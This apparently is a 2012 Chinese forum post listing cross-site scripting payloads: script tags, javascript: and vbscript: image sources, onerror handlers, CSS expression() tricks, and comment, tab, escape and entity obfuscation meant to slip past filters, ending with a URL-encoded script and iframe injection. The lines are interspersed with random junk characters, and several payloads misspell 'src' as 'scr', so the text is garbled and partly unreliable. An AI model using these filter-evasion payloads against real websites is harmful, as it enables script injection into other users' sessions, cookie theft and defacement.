<script>alert("跨站")</script> (最常用）/ I1 m/ \: \! M8 D- }9 u, Q# G
<img scr=javascript:alert("跨站")></img> h9 d: p ?! E
<img scr="javascript: alert(/跨站/)></img>7 q& ~& j i M5 z+ M# V
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
, l! k& d$ I" F1 G# ?% t% Z<img scr="#" onerror=alert(/跨站/)></img>/ F8 q2 @1 Q/ |) G' ~
<img scr="#" style="xss:expression(alert(/xss/));"></img>! G }+ r9 o1 V5 B2 ^6 T7 b; V
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
, l1 g+ j7 n- `1 D- S$ z# H7 B0 \# T<img src=vbscript:msgbox ("xss")></img>" O, F8 Y5 `) r0 u% n
<style> input {left:expression (alert('xss'))}</style>
/ T |3 ]4 L6 @+ Y<div style={left:expression (alert('xss'))}></div>5 }, P" S6 p1 Q5 Q0 _' N/ W, W; R
<div style={left:exp/* */ression (alert('xss'))}></div>
7 R/ ~* v) r6 [8 E<div style={left:\0065\0078ression (alert('xss'))}></div>
0 K( e I+ z. F" z9 m6 U; jhtml 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
- j; T# ?4 C7 Gunicode <div style="{left:expRessioN (alert('xss'))}">
& D& l4 T4 h( j k. F9 _: A2 F: {7 ^/ _. E) `. ]% v
"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["# Q! N8 ]8 @0 ^
|
发表于 2012-9-15 14:09:13
收藏
支持
反对